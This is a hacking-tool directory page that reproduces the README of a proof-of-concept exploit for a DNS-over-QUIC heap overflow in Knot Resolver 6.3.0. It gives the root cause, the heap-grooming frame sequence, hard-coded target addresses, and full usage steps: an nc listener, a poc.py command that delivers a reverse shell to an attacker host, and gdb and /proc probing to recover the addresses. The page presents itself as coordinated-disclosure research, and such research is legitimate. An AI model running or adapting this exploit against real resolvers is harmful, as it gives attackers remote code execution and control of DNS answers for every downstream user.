Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
knot-doq — CVE-2026-66374: Knot Resolver 6.3.0 DNS-over-QUIC heap overflow (RCE) | Kitploit
Tools/GitHubGitHub/venglin/knot-doq
Vulnerability AnalysisExploitationNetwork SecurityRemote Access ToolPayload DevelopmentBinary Exploitation
GitHubvenglin/knot-doq

knot-doq

CVE-2026-66374: Knot Resolver 6.3.0 DNS-over-QUIC heap overflow (RCE)

View Repository
223 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Knot Resolver 6.3.0 — DNS-over-QUIC heap overflow → RCE (PoC)

Proof-of-concept for a remotely triggerable heap buffer overflow in Knot Resolver's DNS-over-QUIC (DoQ) receive path that yields remote code execution as the knot-resolver service user.

  • Component: kresd DoQ listener (daemon/quic_conn.c)
  • Affected: Knot Resolver 6.3.0 (validated on 6.3.0-cznic.1~bookworm)
  • Fixed in: Knot Resolver 6.4.1 (released 2026-07-22)
  • Class: Heap out-of-bounds write (CWE-787)
  • Vector: Network, unauthenticated — a single QUIC connection
  • Impact: Code execution as knot-resolver; at minimum, remote crash / DoS

Published alongside the vendor fix and advisory as part of coordinated disclosure. For authorized security research and defensive validation only.

Demo

Full remote exploitation — the exploit is fired from the attacker box over DNS-over-QUIC, and a knot-resolver reverse shell is caught on nc (click for the full-resolution video):

Remote DNS-over-QUIC RCE against Knot Resolver 6.3.0

What is Knot Resolver

Knot Resolver is an open-source caching DNS recursive resolver developed by CZ.NIC (the .cz registry). It resolves DNS queries on behalf of clients — end-user devices, ISP resolver fleets, and public resolver services — and caches the answers. It supports modern encrypted transports including DNS-over-TLS (DoT), DNS-over-HTTPS (DoH) and DNS-over-QUIC (DoQ), and ships DNSSEC validation and aggressive caching.

It is popular in large ISP environments, where its rich feature set (scriptable policy, DNSSEC, encrypted transports, fine-grained caching) and high performance make it well suited to serving very large subscriber bases.

The daemon (kresd) is a long-lived network service that is directly exposed to untrusted input from any host able to reach its listening port. That makes a memory-corruption bug in its packet-receive path — like the one exploited here — a remotely reachable, unauthenticated attack surface: compromising the resolver lets an attacker forge DNS answers for every downstream client, i.e. redirect or intercept effectively all of their traffic.

Root cause

kr_recv_stream_data_cb() reassembles DoQ STREAM frames into a per-connection input buffer (pers_inbuf). It grows that buffer with

pers_inbuf.size += datalen;      /* bug: accumulates, never re-baselines */

instead of setting the size to the new total. Across several frames the tracked size drifts above the real allocation. A final frame whose datalen fits under the inflated size therefore skips the reallocation, yet the subsequent memcpy() is bounded by that inflated size — so it writes past the end of the object. jemalloc keeps the object pinned to its real size class, so the excess bytes land in the adjacent slab slot.

Exploitation summary

A six-frame sequence on one stream walks pers_inbuf through five jemalloc size classes into the 6144-byte class and then overflows into the neighbouring slot:

F1  datalen=8                    initial 1200-byte allocation
F2  datalen=1440   realloc  ->   1536-class
F3  datalen=1440   realloc  ->   3072-class
F4  datalen=1440   realloc  ->   5120-class
F5  datalen=1440   realloc  ->   6144-class
F6  datalen=1200, FIN            no realloc -> 814-byte OOB write into slot+1

Lightweight connection grooming (open several DoQ connections, free half just before firing) arranges for slot+1 to hold a libgnutls cleanup handler. The overflow overwrites that handler's dispatch pointer, its argument, and the flag that gates the dispatch. During connection teardown libgnutls executes

call *0x110(%rbx)     ; %rbx = attacker-controlled slot+1

giving control of the instruction pointer (RIP) and the first argument (RDI). The PoC routes this to system() with a pointer to an attacker-supplied command string written into the same slot.

Scope: ASLR

This PoC targets a host with ASLR disabled (kernel.randomize_va_space = 0). With randomization off the heap and libc addresses are deterministic, so the two addresses the exploit needs (slot+1 and system()) are constants for a given build. Defeating ASLR is a separate problem and is intentionally out of scope here — the goal is to demonstrate the memory-corruption → control-flow → code-execution primitive in isolation.

Because those addresses are deterministic, no information leak is required: the exploit runs fully over the network from a remote host. The addresses are recovered once with the probe step (below) on any identical build and then hard-coded; on the reference build they are slot+1 = 0x7ffff66c5000 and system = 0x7ffff746a490.

Contents

FilePurpose
poc.pyThe exploit. Modes: probe, rip, exec.
probe.gdbgdb oracle that reads the deterministic pers_inbuf.
README.mdThis document.

Requires Python 3 with aioquic and netcat on the attacker side, and gdb on the target only for the one-time probe step.

Usage — remote reverse shell (no info leak)

This is the headline demonstration: the exploit is fired from the attacker machine, over the network, with the two deterministic addresses hard-coded. Nothing is read from the target — no /proc, no gdb, no logs.

# On the attacker box: listen for the shell
$ nc -lvnp 4444                    # Linux;  on macOS/BSD:  nc -l 4444

# In another terminal: fire the exploit at the target's DoQ port
$ python3 poc.py exec \
      --host <target> --port 8853 \
      --slot1  0x7ffff66c5000 \
      --system 0x7ffff746a490 \
      --lhost <attacker-ip> --lport 4444 \
      --rounds 250

Each round that lands calls system() on the target with a reverse-shell command; the shell connects back to --lhost:--lport, where nc receives it. When it arrives, type into the netcat session to drive the shell:

knot-resolver@doqlab:/run/knot-resolver$ id; hostname; uname -srm
uid=104(knot-resolver) gid=109(knot-resolver) groups=109(knot-resolver)
doqlab
Linux 6.1.0-50-cloud-amd64 x86_64

The --slot1 / --system values are recovered once with the probe step on any identical build; they are constants while ASLR is off.

Recovering the addresses (one-time probe)

The --slot1 / --system values above are constants while ASLR is off; recover them once on any identical build. Precondition:

$ sudo sysctl -w kernel.randomize_va_space=0
# slot+1 : gdb oracle reads the deterministic pers_inbuf, +0x1800
$ sudo gdb -batch -p "$(pidof /usr/sbin/kresd)" -x probe.gdb &
$ sudo ./venv/bin/python3 poc.py probe
$ grep slot1 /tmp/pers_inbuf_oracle.txt
CONSUME: buf=0x7ffff66c3800  slot1=0x7ffff66c5000

# system : libc base (ASLR off) + system() offset
$ addr=$(grep -m1 libc.so /proc/$(pidof /usr/sbin/kresd)/maps | cut -d- -f1)
$ printf 'system = 0x%x\n' $((0x$addr + 0x$(readelf --dyn-syms /lib/x86_64-linux-gnu/libc.so.6 | awk '$8 ~ /^system@/ {print $2; exit}')))

poc.py rip --rounds 8 additionally demonstrates raw RIP/RDI control (the target crashes at the attacker-chosen instruction pointer).

Reliability

Measured on the reference build (Debian 12, 6.3.0-cznic.1, ASLR off):

PrimitiveRate
RIP/RDI control (rip, crash)~7/8 per round
Full system() execution (exec)~1 in 30–50 rounds
Download Tool